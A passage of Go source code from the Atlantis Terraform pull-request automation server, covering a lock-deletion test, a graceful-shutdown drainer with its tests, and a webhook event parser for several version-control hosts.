path1 := "path1" path2 := "path2" workspace := "default" projectName := "" RegisterMockTestingT(t) // needed for pegomock WorkingDir mock ctrl := gomock.NewController(t) l := lockmocks.NewMockLocker(ctrl) workingDir := events.NewMockWorkingDir() pull := models.PullRequest{ BaseRepo: models.Repo{FullName: repoName}, Num: pullNum, } l.EXPECT().UnlockByPull(repoName, pullNum).Return([]models.ProjectLock{ { Pull: pull, Workspace: workspace, Project: models.Project{ Path: path1, RepoFullName: pull.BaseRepo.FullName, }, }, { Pull: pull, Workspace: workspace, Project: models.Project{ Path: path2, RepoFullName: pull.BaseRepo.FullName, }, }, }, nil, ) dlc := events.DefaultDeleteLockCommand{ Locker: l, WorkingDir: workingDir, } _, err := dlc.DeleteLocksByPull(logger, repoName, pullNum) Ok(t, err) workingDir.VerifyWasCalled(Once()).DeletePlan(logger, pull.BaseRepo, pull, workspace, path1, projectName) workingDir.VerifyWasCalled(Once()).DeletePlan(logger, pull.BaseRepo, pull, workspace, path2, projectName) } ================================================ FILE: server/events/drainer.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "sync" ) // Drainer is used to gracefully shut down atlantis by waiting for in-progress // operations to complete. type Drainer struct { status DrainStatus `validate:"required"` mutex sync.Mutex `validate:"required"` wg sync.WaitGroup `validate:"required"` } type DrainStatus struct { // ShuttingDown is whether we are in the progress of shutting down. ShuttingDown bool // InProgressOps is the number of operations currently in progress. InProgressOps int } // StartOp tries to start a new operation. It returns false if Atlantis is // shutting down. func (d *Drainer) StartOp() bool { d.mutex.Lock() defer d.mutex.Unlock() if d.status.ShuttingDown { return false } d.status.InProgressOps++ d.wg.Add(1) return true } // OpDone marks an operation as complete. func (d *Drainer) OpDone() { d.mutex.Lock() defer d.mutex.Unlock() d.status.InProgressOps-- d.wg.Done() if d.status.InProgressOps < 0 { // This would be a bug. d.status.InProgressOps = 0 } } // ShutdownBlocking sets "shutting down" to true and blocks until there are no // in progress operations. func (d *Drainer) ShutdownBlocking() { // Set the shutdown status. d.mutex.Lock() d.status.ShuttingDown = true d.mutex.Unlock() // Block until there are no in-progress ops. d.wg.Wait() } func (d *Drainer) GetStatus() DrainStatus { return d.status } ================================================ FILE: server/events/drainer_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "context" "testing" "time" "github.com/runatlantis/atlantis/server/events" . "github.com/runatlantis/atlantis/testing" ) // Test starting and completing ops. func TestDrainer(t *testing.T) { d := events.Drainer{} // Starts at 0. Equals(t, 0, d.GetStatus().InProgressOps) // Add 1. d.StartOp() Equals(t, 1, d.GetStatus().InProgressOps) // Remove 1. d.OpDone() Equals(t, 0, d.GetStatus().InProgressOps) // Add 2. d.StartOp() d.StartOp() Equals(t, 2, d.GetStatus().InProgressOps) // Remove 1. d.OpDone() Equals(t, 1, d.GetStatus().InProgressOps) } func TestDrainer_Shutdown(t *testing.T) { d := events.Drainer{} d.StartOp() shutdown := make(chan bool) go func() { d.ShutdownBlocking() close(shutdown) }() // Sleep to ensure that ShutdownBlocking has been called. time.Sleep(300 * time.Millisecond) // Starting another op should fail. Equals(t, false, d.StartOp()) // Status should be shutting down. Equals(t, events.DrainStatus{ ShuttingDown: true, InProgressOps: 1, }, d.GetStatus()) // Stop the final operation and wait for shutdown to exit. d.OpDone() timer, cancel := context.WithTimeout(context.Background(), 1*time.Second) defer cancel() select { case <-shutdown: case <-timer.Done(): Assert(t, false, "Timer reached without shutdown") } } ================================================ FILE: server/events/event_parser.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "encoding/json" "errors" "fmt" "net/url" "os" "path" "strings" giteasdk "code.gitea.io/sdk/gitea" "github.com/drmaxgit/go-azuredevops/azuredevops" "github.com/go-playground/validator/v10" "github.com/google/go-github/v83/github" lru "github.com/hashicorp/golang-lru/v2" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver" "github.com/runatlantis/atlantis/server/events/vcs/gitea" "github.com/runatlantis/atlantis/server/logging" gitlab "gitlab.com/gitlab-org/api/client-go" ) const gitlabPullOpened = "opened" const usagesCols = 90 var lastBitbucketSha, _ = lru.New[string, string](300) // PullCommand is a command to run on a pull request. type PullCommand interface { // Dir is the path relative to the repo root to run the command in. // Will never end in "/". If empty then the comment specified no directory. Dir() string // CommandName is the name of the command we're running. CommandName() command.Name // SubCommandName is the subcommand name of the command we're running. SubCommandName() string // IsVerbose is true if the output of this command should be verbose. IsVerbose() bool // IsAutoplan is true if this is an autoplan command vs. a comment command. IsAutoplan() bool } // PolicyCheckCommand is a policy_check command that is automatically triggered // after successful plan command. type PolicyCheckCommand struct{} // CommandName is policy_check. func (c PolicyCheckCommand) CommandName() command.Name { return command.PolicyCheck } // SubCommandName is a subcommand for policy_check. func (c PolicyCheckCommand) SubCommandName() string { return "" } // Dir is empty func (c PolicyCheckCommand) Dir() string { return "" } // IsVerbose is false for policy_check commands. func (c PolicyCheckCommand) IsVerbose() bool { return false } // IsAutoplan is true for policy_check commands. func (c PolicyCheckCommand) IsAutoplan() bool { return false } // AutoplanCommand is a plan command that is automatically triggered when a // pull request is opened or updated. type AutoplanCommand struct{} // CommandName is plan. func (c AutoplanCommand) CommandName() command.Name { return command.Plan } // SubCommandName is a subcommand for auto plan. func (c AutoplanCommand) SubCommandName() string { return "" } // Dir is empty func (c AutoplanCommand) Dir() string { return "" } // IsVerbose is false for autoplan commands. func (c AutoplanCommand) IsVerbose() bool { return false } // IsAutoplan is true for autoplan commands (obviously). func (c AutoplanCommand) IsAutoplan() bool { return true } // CommentCommand is a command that was triggered by a pull request comment. type CommentCommand struct { // RepoRelDir is the path relative to the repo root to run the command in. // Will never end in "/". If empty then the comment specified no directory. RepoRelDir string // Flags are the extra arguments appended to the comment, // ex. atlantis plan -- -target=resource Flags []string // Name is the name of the command the comment specified. Name command.Name // SubName is the name of the sub command the comment specified. SubName string // AutoMergeDisabled is true if the command should not automerge after apply. AutoMergeDisabled bool // AutoMergeMethod specified the merge method for the VCS if automerge enabled. AutoMergeMethod string // Verbose is true if the command should output verbosely. Verbose bool // Workspace is the name of the Terraform workspace to run the command in. // If empty then the comment specified no workspace. Workspace string // ProjectName is the name of a project to run the command on. It refers to a // project specified in an atlantis.yaml file. // If empty then the comment specified no project. ProjectName string // PolicySet is the name of a policy set to run an approval on. PolicySet string // ClearPolicyApproval is true if approvals should be cleared out for specified policies. ClearPolicyApproval bool } // IsForSpecificProject returns true if the command is for a specific dir, workspace // or project name. Otherwise it's a command like "atlantis plan" or "atlantis // apply". func (c CommentCommand) IsForSpecificProject() bool { return c.RepoRelDir != "" || c.Workspace != "" || c.ProjectName != "" } // Dir returns the dir of this command. func (c CommentCommand) Dir() string { return c.RepoRelDir } // CommandName returns the name of this command. func (c CommentCommand) CommandName() command.Name { return c.Name } // SubCommandName returns the name of this subcommand. func (c CommentCommand) SubCommandName() string { return c.SubName } // IsVerbose is true if the command should give verbose output. func (c CommentCommand) IsVerbose() bool { return c.Verbose } // IsAutoplan will be false for comment commands. func (c CommentCommand) IsAutoplan() bool { return false } // String returns a string representation of the command. func (c CommentCommand) String() string { return fmt.Sprintf("command=%q, verbose=%t, dir=%q, workspace=%q, project=%q, policyset=%q, auto-merge-disabled=%t, auto-merge-method=%s, clear-policy-approval=%t, flags=%q", c.Name.String(), c.Verbose, c.RepoRelDir, c.Workspace, c.ProjectName, c.PolicySet, c.AutoMergeDisabled, c.AutoMergeMethod, c.ClearPolicyApproval, strings.Join(c.Flags, ",")) } // NewCommentCommand constructs a CommentCommand, setting all missing fields to defaults. func NewCommentCommand(repoRelDir string, flags []string, name command.Name, subName string, verbose, autoMergeDisabled bool, autoMergeMethod string, workspace string, project string, policySet string, clearPolicyApproval bool) *CommentCommand { // If repoRelDir was empty we want to keep it that way to indicate that it // wasn't specified in the comment. if repoRelDir != "" { repoRelDir = path.Clean(repoRelDir) if repoRelDir == "/" { repoRelDir = "." } } return &CommentCommand{ RepoRelDir: repoRelDir, Flags: flags, Name: name, SubName: subName, Verbose: verbose, Workspace: workspace, AutoMergeDisabled: autoMergeDisabled, AutoMergeMethod: autoMergeMethod, ProjectName: project, PolicySet: policySet, ClearPolicyApproval: clearPolicyApproval, } } //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_event_parsing.go EventParsing // EventParsing parses webhook events from different VCS hosts into their // respective Atlantis models. // todo: rename to VCSParsing or the like because this also parses API responses #refactor type EventParsing interface { // ParseGithubIssueCommentEvent parses GitHub pull request comment events. // baseRepo is the repo that the pull request will be merged into. // user is the pull request author. // pullNum is the number of the pull request that triggered the webhook. ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) ( baseRepo models.Repo, user models.User, pullNum int, err error) // ParseGithubPull parses the response from the GitHub API endpoint (not // from a webhook) that returns a pull request. // pull is the parsed pull request. // baseRepo is the repo the pull request will be merged into. // headRepo is the repo the pull request branch is from. ParseGithubPull(logger logging.SimpleLogging, ghPull *github.PullRequest) ( pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) // ParseGithubPullEvent parses GitHub pull request events. // pull is the parsed pull request. // pullEventType is the type of event, for example opened/closed. // baseRepo is the repo the pull request will be merged into. // headRepo is the repo the pull request branch is from. // user is the pull request author. ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) ( pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) // ParseGithubRepo parses the response from the GitHub API endpoint that // returns a repo into the Atlantis model. ParseGithubRepo(ghRepo *github.Repository) (models.Repo, error) // ParseGitlabMergeRequestEvent parses GitLab merge request events. // pull is the parsed merge request. // pullEventType is the type of event, for example opened/closed. // baseRepo is the repo the merge request will be merged into. // headRepo is the repo the merge request branch is from. // user is the pull request author. ParseGitlabMergeRequestEvent(event gitlab.MergeEvent) ( pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) // ParseGitlabMergeRequestUpdateEvent dives deeper into Gitlab merge request update events to check // if Atlantis should handle events or not. Atlantis should ignore events which dont change the MR content // We assume that 1 event carries multiple events, so firstly need to check for events triggering Atlantis planning // Default 'unknown' event to 'models.UpdatedPullEvent' ParseGitlabMergeRequestUpdateEvent(event gitlab.MergeEvent) models.PullRequestEventType // ParseGitlabMergeRequestCommentEvent parses GitLab merge request comment // events. // baseRepo is the repo the merge request will be merged into. // headRepo is the repo the merge request branch is from. // user is the pull request author. ParseGitlabMergeRequestCommentEvent(event gitlab.MergeCommentEvent) ( baseRepo models.Repo, headRepo models.Repo, commentID int, user models.User, err error) // ParseGitlabMergeRequest parses the response from the GitLab API endpoint // that returns a merge request. ParseGitlabMergeRequest(mr *gitlab.MergeRequest, baseRepo models.Repo) models.PullRequest ParseAPIPlanRequest(vcsHostType models.VCSHostType, path string, cloneURL string) (baseRepo models.Repo, err error) // ParseBitbucketCloudPullEvent parses a pull request event from Bitbucket // Cloud (bitbucket.org). // pull is the parsed pull request. // baseRepo is the repo the pull request will be merged into. // headRepo is the repo the pull request branch is from. // user is the pull request author. ParseBitbucketCloudPullEvent(body []byte) ( pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) // ParseBitbucketCloudPullCommentEvent parses a pull request comment event // from Bitbucket Cloud (bitbucket.org). // pull is the parsed pull request. // baseRepo is the repo the pull request will be merged into. // headRepo is the repo the pull request branch is from. // user is the pull request author. // comment is the comment that triggered the event. ParseBitbucketCloudPullCommentEvent(body []byte) ( pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, comment string, err error) // GetBitbucketCloudPullEventType returns the type of the pull request // event given the Bitbucket Cloud header. GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) models.PullRequestEventType // ParseBitbucketServerPullEvent parses a pull request event from Bitbucket // Server. // pull is the parsed pull request. // baseRepo is the repo the pull request will be merged into. // headRepo is the repo the pull request branch is from. // user is the pull request author. ParseBitbucketServerPullEvent(body []byte) ( pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) // ParseBitbucketServerPullCommentEvent parses a pull request comment event // from Bitbucket Server. // pull is the parsed pull request. // baseRepo is the repo the pull request will be merged into. // headRepo is the repo the pull request branch is from. // user is the pull request author. // comment is the comment that triggered the event. ParseBitbucketServerPullCommentEvent(body []byte) ( pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, comment string, err error) // GetBitbucketServerPullEventType returns the type of the pull request // event given the Bitbucket Server header. GetBitbucketServerPullEventType(eventTypeHeader string) models.PullRequestEventType // ParseAzureDevopsPull parses the response from the Azure DevOps API endpoint (not // from a webhook) that returns a pull request. // pull is the parsed pull request. // baseRepo is the repo the pull request will be merged into. // headRepo is the repo the pull request branch is from. ParseAzureDevopsPull(adPull *azuredevops.GitPullRequest) ( pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) // ParseAzureDevopsPullEvent parses Azure DevOps pull request events. // pull is the parsed pull request. // pullEventType is the type of event, for example opened/closed. // baseRepo is the repo the pull request will be merged into. // headRepo is the repo the pull request branch is from. // user is the pull request author. ParseAzureDevopsPullEvent(pullEvent azuredevops.Event) ( pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) // ParseAzureDevopsRepo parses the response from the Azure DevOps API endpoint that // returns a repo into the Atlantis model. ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (models.Repo, error) ParseGiteaPullRequestEvent(event giteasdk.PullRequest) ( pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) ParseGiteaIssueCommentEvent(event gitea.GiteaIssueCommentPayload) (baseRepo models.Repo, user models.User, pullNum int, err error) ParseGiteaPull(pull *giteasdk.PullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) } // EventParser parses VCS events. type EventParser struct { GithubUser string GithubToken string GithubTokenFile string GitlabUser string GitlabToken string GiteaUser string GiteaToken string AllowDraftPRs bool BitbucketUser string BitbucketToken string BitbucketServerURL string AzureDevopsToken string AzureDevopsUser string } func (e *EventParser) ParseAPIPlanRequest(vcsHostType models.VCSHostType, repoFullName string, cloneURL string) (models.Repo, error) { switch vcsHostType { case models.Github: token := e.GithubToken if e.GithubTokenFile != "" { content, err := os.ReadFile(e.GithubTokenFile) if err != nil { return models.Repo{}, fmt.Errorf("failed reading github token file: %w", err) } token = string(content) } return models.NewRepo(vcsHostType, repoFullName, cloneURL, e.GithubUser, token) case models.Gitea: return models.NewRepo(vcsHostType, repoFullName, cloneURL, e.GiteaUser, e.GiteaToken) case models.Gitlab: return models.NewRepo(vcsHostType, repoFullName, cloneURL, e.GitlabUser, e.GitlabToken) } return models.Repo{}, fmt.Errorf("not implemented") } // GetBitbucketCloudPullEventType returns the type of the pull request // event given the Bitbucket Cloud header. func (e *EventParser) GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) models.PullRequestEventType { switch eventTypeHeader { case bitbucketcloud.PullCreatedHeader: lastBitbucketSha.Add(pr, sha) return models.OpenedPullEvent case bitbucketcloud.PullUpdatedHeader: lastSha, _ := lastBitbucketSha.Get(pr) if sha == lastSha { // No change, ignore return models.OtherPullEvent } lastBitbucketSha.Add(pr, sha) return models.UpdatedPullEvent case bitbucketcloud.PullFulfilledHeader, bitbucketcloud.PullRejectedHeader: return models.ClosedPullEvent } return models.OtherPullEvent } // ParseBitbucketCloudPullCommentEvent parses a pull request comment event // from Bitbucket Cloud (bitbucket.org). // See EventParsing for return value docs. func (e *EventParser) ParseBitbucketCloudPullCommentEvent(body []byte) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, comment string, err error) { var event bitbucketcloud.CommentEvent if err = json.Unmarshal(body, &event); err != nil { err = fmt.Errorf("parsing json: %w", err) return } if err = validator.New().Struct(event); err != nil { err = fmt.Errorf("API response %q was missing fields: %w", string(body), err) return } pull, baseRepo, headRepo, user, err = e.parseCommonBitbucketCloudEventData(event.CommonEventData) comment = *event.Comment.Content.Raw return } func (e *EventParser) parseCommonBitbucketCloudEventData(event bitbucketcloud.CommonEventData) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) { var prState models.PullRequestState switch *event.PullRequest.State { case "OPEN": prState = models.OpenPullState case "MERGED": prState = models.ClosedPullState case "SUPERSEDED": prState = models.ClosedPullState case "DECLINED": prState = models.ClosedPullState default: err = fmt.Errorf("unable to determine pull request state from %q–this is a bug", *event.PullRequest.State) return } headRepo, err = models.NewRepo( models.BitbucketCloud, *event.PullRequest.Source.Repository.FullName, *event.PullRequest.Source.Repository.Links.HTML.HREF, e.BitbucketUser, e.BitbucketToken) if err != nil { return } baseRepo, err = models.NewRepo( models.BitbucketCloud, *event.Repository.FullName, *event.Repository.Links.HTML.HREF, e.BitbucketUser, e.BitbucketToken) if err != nil { return } pull = models.PullRequest{ Num: *event.PullRequest.ID, HeadCommit: *event.PullRequest.Source.Commit.Hash, URL: *event.PullRequest.Links.HTML.HREF, HeadBranch: *event.PullRequest.Source.Branch.Name, BaseBranch: *event.PullRequest.Destination.Branch.Name, Author: *event.Actor.AccountID, State: prState, BaseRepo: baseRepo, } user = models.User{ Username: *event.Actor.AccountID, } return } // ParseBitbucketCloudPullEvent parses a pull request event from Bitbucket // Cloud (bitbucket.org). // See EventParsing for return value docs. func (e *EventParser) ParseBitbucketCloudPullEvent(body []byte) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) { var event bitbucketcloud.PullRequestEvent if err = json.Unmarshal(body, &event); err != nil { err = fmt.Errorf("parsing json: %w", err) return } if err = validator.New().Struct(event); err != nil { err = fmt.Errorf("API response %q was missing fields: %w", string(body), err) return } pull, baseRepo, headRepo, user, err = e.parseCommonBitbucketCloudEventData(event.CommonEventData) return } // ParseGithubIssueCommentEvent parses GitHub pull request comment events. // See EventParsing for return value docs. func (e *EventParser) ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) (baseRepo models.Repo, user models.User, pullNum int, err error) { baseRepo, err = e.ParseGithubRepo(comment.Repo) if err != nil { return } if comment.Comment == nil || comment.Comment.User.GetLogin() == "" { err = errors.New("comment.user.login is null") return } commenterUsername := comment.Comment.User.GetLogin() user = models.User{ Username: commenterUsername, } pullNum = comment.Issue.GetNumber() if pullNum == 0 { err = errors.New("issue.number is null") return } return } // ParseGithubPullEvent parses GitHub pull request events. // See EventParsing for return value docs. func (e *EventParser) ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) (pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) { if pullEvent.PullRequest == nil { err = errors.New("pull_request is null") return } pull, baseRepo, headRepo, err = e.ParseGithubPull(logger, pullEvent.PullRequest) if err != nil { return } if pullEvent.Sender == nil { err = errors.New("sender is null") return } senderUsername := pullEvent.Sender.GetLogin() if senderUsername == "" { err = errors.New("sender.login is null") return } action := pullEvent.GetAction() // If it's a draft PR we ignore it for auto-planning if configured to do so // however it's still possible for users to run plan on it manually via a // comment so if any draft PR is closed we still need to check if we need // to delete its locks. if pullEvent.GetPullRequest().GetDraft() && pullEvent.GetAction() != "closed" && !e.AllowDraftPRs { action = "other" } switch action { case "opened": pullEventType = models.OpenedPullEvent case "ready_for_review": // when an author takes a PR out of 'draft' state a 'ready_for_review' // event is triggered. We want atlantis to treat this as a freshly opened PR pullEventType = models.OpenedPullEvent case "synchronize": pullEventType = models.UpdatedPullEvent case "closed": pullEventType = models.ClosedPullEvent default: pullEventType = models.OtherPullEvent } user = models.User{Username: senderUsername} return } // ParseGithubPull parses the response from the GitHub API endpoint (not // from a webhook) that returns a pull request. // See EventParsing for return value docs. func (e *EventParser) ParseGithubPull(logger logging.SimpleLogging, pull *github.PullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) { commit := pull.Head.GetSHA() if commit == "" { err = errors.New("head.sha is null") return } url := pull.GetHTMLURL() if url == "" { err = errors.New("html_url is null") return } headBranch := pull.Head.GetRef() if headBranch == "" { err = errors.New("head.ref is null") return } baseBranch := pull.Base.GetRef() if baseBranch == "" { err = errors.New("base.ref is null") return } authorUsername := pull.User.GetLogin() if authorUsername == "" { err = errors.New("user.login is null") return } num := pull.GetNumber() if num == 0 { err = errors.New("number is null") return } baseRepo, err = e.ParseGithubRepo(pull.Base.Repo) if err != nil { return } headRepo, err = e.ParseGithubRepo(pull.Head.Repo) if err != nil { return } pullState := models.ClosedPullState if pull.GetState() == "open" { pullState = models.OpenPullState } pullModel = models.PullRequest{ Author: authorUsername, HeadBranch: headBranch, HeadCommit: commit, URL: url, Num: num, State: pullState, BaseRepo: baseRepo, BaseBranch: baseBranch, } return } // ParseGithubRepo parses the response from the GitHub API endpoint that // returns a repo into the Atlantis model. // See EventParsing for return value docs. func (e *EventParser) ParseGithubRepo(ghRepo *github.Repository) (models.Repo, error) { token := e.GithubToken if e.GithubTokenFile != "" { content, err := os.ReadFile(e.GithubTokenFile) if err != nil { return models.Repo{}, fmt.Errorf("failed reading github token file: %w", err) } token = string(content) } return models.NewRepo(models.Github, ghRepo.GetFullName(), ghRepo.GetCloneURL(), e.GithubUser, token) } // ParseGiteaRepo parses the response from the Gitea API endpoint that // returns a repo into the Atlantis model. // See EventParsing for return value docs. func (e *EventParser) ParseGiteaRepo(repo giteasdk.Repository) (models.Repo, error) { return models.NewRepo(models.Gitea, repo.FullName, repo.CloneURL, e.GiteaUser, e.GiteaToken) } // ParseGitlabMergeRequestUpdateEvent dives deeper into Gitlab merge request update events func (e *EventParser) ParseGitlabMergeRequestUpdateEvent(event gitlab.MergeEvent) models.PullRequestEventType { // New commit to opened MR if len(event.ObjectAttributes.OldRev) > 0 || // Check for MR that has been marked as ready (strings.HasPrefix(event.Changes.Title.Previous, "Draft:") && !strings.HasPrefix(event.Changes.Title.Current, "Draft:")) { return models.UpdatedPullEvent } return models.OtherPullEvent } // ParseGitlabMergeRequestEvent parses GitLab merge request events. // pull is the parsed merge request. // See EventParsing for return value docs. func (e *EventParser) ParseGitlabMergeRequestEvent(event gitlab.MergeEvent) (pull models.PullRequest, eventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) { modelState := models.ClosedPullState if event.ObjectAttributes.State == gitlabPullOpened { modelState = models.OpenPullState } // GitLab also has a "merged" state, but we map that to Closed so we don't // need to check for it. baseRepo, err = models.NewRepo(models.Gitlab, event.Project.PathWithNamespace, event.Project.GitHTTPURL, e.GitlabUser, e.GitlabToken) if err != nil { return } headRepo, err = models.NewRepo(models.Gitlab, event.ObjectAttributes.Source.PathWithNamespace, event.ObjectAttributes.Source.GitHTTPURL, e.GitlabUser, e.GitlabToken) if err != nil { return } pull = models.PullRequest{ URL: event.ObjectAttributes.URL, Author: event.User.Username, Num: event.ObjectAttributes.IID, HeadCommit: event.ObjectAttributes.LastCommit.ID, HeadBranch: event.ObjectAttributes.SourceBranch, BaseBranch: event.ObjectAttributes.TargetBranch, State: modelState, BaseRepo: baseRepo, } // If it's a draft PR we ignore it for auto-planning if configured to do so // however it's still possible for users to run plan on it manually via a // comment so if any draft PR is closed we still need to check if we need // to delete its locks. if event.ObjectAttributes.WorkInProgress && event.ObjectAttributes.Action != "close" && !e.AllowDraftPRs { eventType = models.OtherPullEvent } else { switch event.ObjectAttributes.Action { case "open": eventType = models.OpenedPullEvent case "update": eventType = e.ParseGitlabMergeRequestUpdateEvent(event) case "merge", "close": eventType = models.ClosedPullEvent default: eventType = models.OtherPullEvent } } user = models.User{ Username: event.User.Username, } return } // ParseGitlabMergeRequestCommentEvent parses GitLab merge request comment // events. // See EventParsing for return value docs. func (e *EventParser) ParseGitlabMergeRequestCommentEvent(event gitlab.MergeCommentEvent) (baseRepo models.Repo, headRepo models.Repo, commentID int, user models.User, err error) { // Parse the base repo first. repoFullName := event.Project.PathWithNamespace cloneURL := event.Project.GitHTTPURL commentID = event.ObjectAttributes.ID baseRepo, err = models.NewRepo(models.Gitlab, repoFullName, cloneURL, e.GitlabUser, e.GitlabToken) if err != nil { return } user = models.User{ Username: event.User.Username, } // Now parse the head repo. headRepoFullName := event.MergeRequest.Source.PathWithNamespace headCloneURL := event.MergeRequest.Source.GitHTTPURL headRepo, err = models.NewRepo(models.Gitlab, headRepoFullName, headCloneURL, e.GitlabUser, e.GitlabToken) return } func (e *EventParser) ParseGiteaIssueCommentEvent(comment gitea.GiteaIssueCommentPayload) (baseRepo models.Repo, user models.User, pullNum int, err error) { baseRepo, err = e.ParseGiteaRepo(comment.Repository) if err != nil { return } if comment.Comment.Body == "" || comment.Comment.Poster.UserName == "" { err = errors.New("comment.user.login is null") return } commenterUsername := comment.Comment.Poster.UserName user = models.User{ Username: commenterUsername, } pullNum = int(comment.Issue.Index) if pullNum == 0 { err = errors.New("issue.number is null") return } return } // ParseGitlabMergeRequest parses the merge requests and returns a pull request // model. We require passing in baseRepo because we can't get this information // from the merge request. The only caller of this function already has that // data so we can construct the pull request object correctly. func (e *EventParser) ParseGitlabMergeRequest(mr *gitlab.MergeRequest, baseRepo models.Repo) models.PullRequest { pullState := models.ClosedPullState if mr.State == gitlabPullOpened { pullState = models.OpenPullState } // GitLab also has a "merged" state, but we map that to Closed so we don't // need to check for it. return models.PullRequest{ URL: mr.WebURL, Author: mr.Author.Username, Num: mr.IID, HeadCommit: mr.SHA, HeadBranch: mr.SourceBranch, BaseBranch: mr.TargetBranch, State: pullState, BaseRepo: baseRepo, } } // GetBitbucketServerPullEventType returns the type of the pull request // event given the Bitbucket Server header. func (e *EventParser) GetBitbucketServerPullEventType(eventTypeHeader string) models.PullRequestEventType { switch eventTypeHeader { // PullFromRefUpdatedHeader event occurs on OPEN state pull request // so no additional checks are needed. case bitbucketserver.PullCreatedHeader, bitbucketserver.PullFromRefUpdatedHeader: return models.OpenedPullEvent case bitbucketserver.PullMergedHeader, bitbucketserver.PullDeclinedHeader, bitbucketserver.PullDeletedHeader: return models.ClosedPullEvent } return models.OtherPullEvent } // ParseBitbucketServerPullCommentEvent parses a pull request comment event // from Bitbucket Server. // See EventParsing for return value docs. func (e *EventParser) ParseBitbucketServerPullCommentEvent(body []byte) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, comment string, err error) { var event bitbucketserver.CommentEvent if err = json.Unmarshal(body, &event); err != nil { err = fmt.Errorf("parsing json: %w", err) return } if err = validator.New().Struct(event); err != nil { err = fmt.Errorf("API response %q was missing fields: %w", string(body), err) return } pull, baseRepo, headRepo, user, err = e.parseCommonBitbucketServerEventData(event.CommonEventData) comment = *event.Comment.Text return } func (e *EventParser) parseCommonBitbucketServerEventData(event bitbucketserver.CommonEventData) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) { var prState models.PullRequestState switch *event.PullRequest.State { case "OPEN": prState = models.OpenPullState case "MERGED": prState = models.ClosedPullState case "DECLINED": prState = models.ClosedPullState default: err = fmt.Errorf("unable to determine pull request state from %q–this is a bug", *event.PullRequest.State) return } headRepoSlug := *event.PullRequest.FromRef.Repository.Slug headRepoFullname := fmt.Sprintf("%s/%s", *event.PullRequest.FromRef.Repository.Project.Name, headRepoSlug) headRepoCloneURL := fmt.Sprintf("%s/scm/%s/%s.git", e.BitbucketServerURL, strings.ToLower(*event.PullRequest.FromRef.Repository.Project.Key), headRepoSlug) headRepo, err = models.NewRepo( models.BitbucketServer, headRepoFullname, headRepoCloneURL, e.BitbucketUser, e.BitbucketToken) if err != nil { return } baseRepoSlug := *event.PullRequest.ToRef.Repository.Slug baseRepoFullname := fmt.Sprintf("%s/%s", *event.PullRequest.ToRef.Repository.Project.Name, baseRepoSlug) baseRepoCloneURL := fmt.Sprintf("%s/scm/%s/%s.git", e.BitbucketServerURL, strings.ToLower(*event.PullRequest.ToRef.Repository.Project.Key), baseRepoSlug) baseRepo, err = models.NewRepo( models.BitbucketServer, baseRepoFullname, baseRepoCloneURL, e.BitbucketUser, e.BitbucketToken) if err != nil { return } pull = models.PullRequest{ Num: *event.PullRequest.ID, HeadCommit: *event.PullRequest.FromRef.LatestCommit, URL: fmt.Sprintf("%s/projects/%s/repos/%s/pull-requests/%d", e.BitbucketServerURL, *event.PullRequest.ToRef.Repository.Project.Key, *event.PullRequest.ToRef.Repository.Slug, *event.PullRequest.ID), HeadBranch: *event.PullRequest.FromRef.DisplayID, BaseBranch: *event.PullRequest.ToRef.DisplayID, Author: *event.Actor.Username, State: prState, BaseRepo: baseRepo, } user = models.User{ Username: *event.Actor.Username, } return } // ParseBitbucketServerPullEvent parses a pull request event from Bitbucket // Server. // See EventParsing for return value docs. func (e *EventParser) ParseBitbucketServerPullEvent(body []byte) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) { var event bitbucketserver.PullRequestEvent if err = json.Unmarshal(body, &event); err != nil { err = fmt.Errorf("parsing json: %w", err) return } if err = validator.New().Struct(event); err != nil { err = fmt.Errorf("API response %q was missing fields: %w", 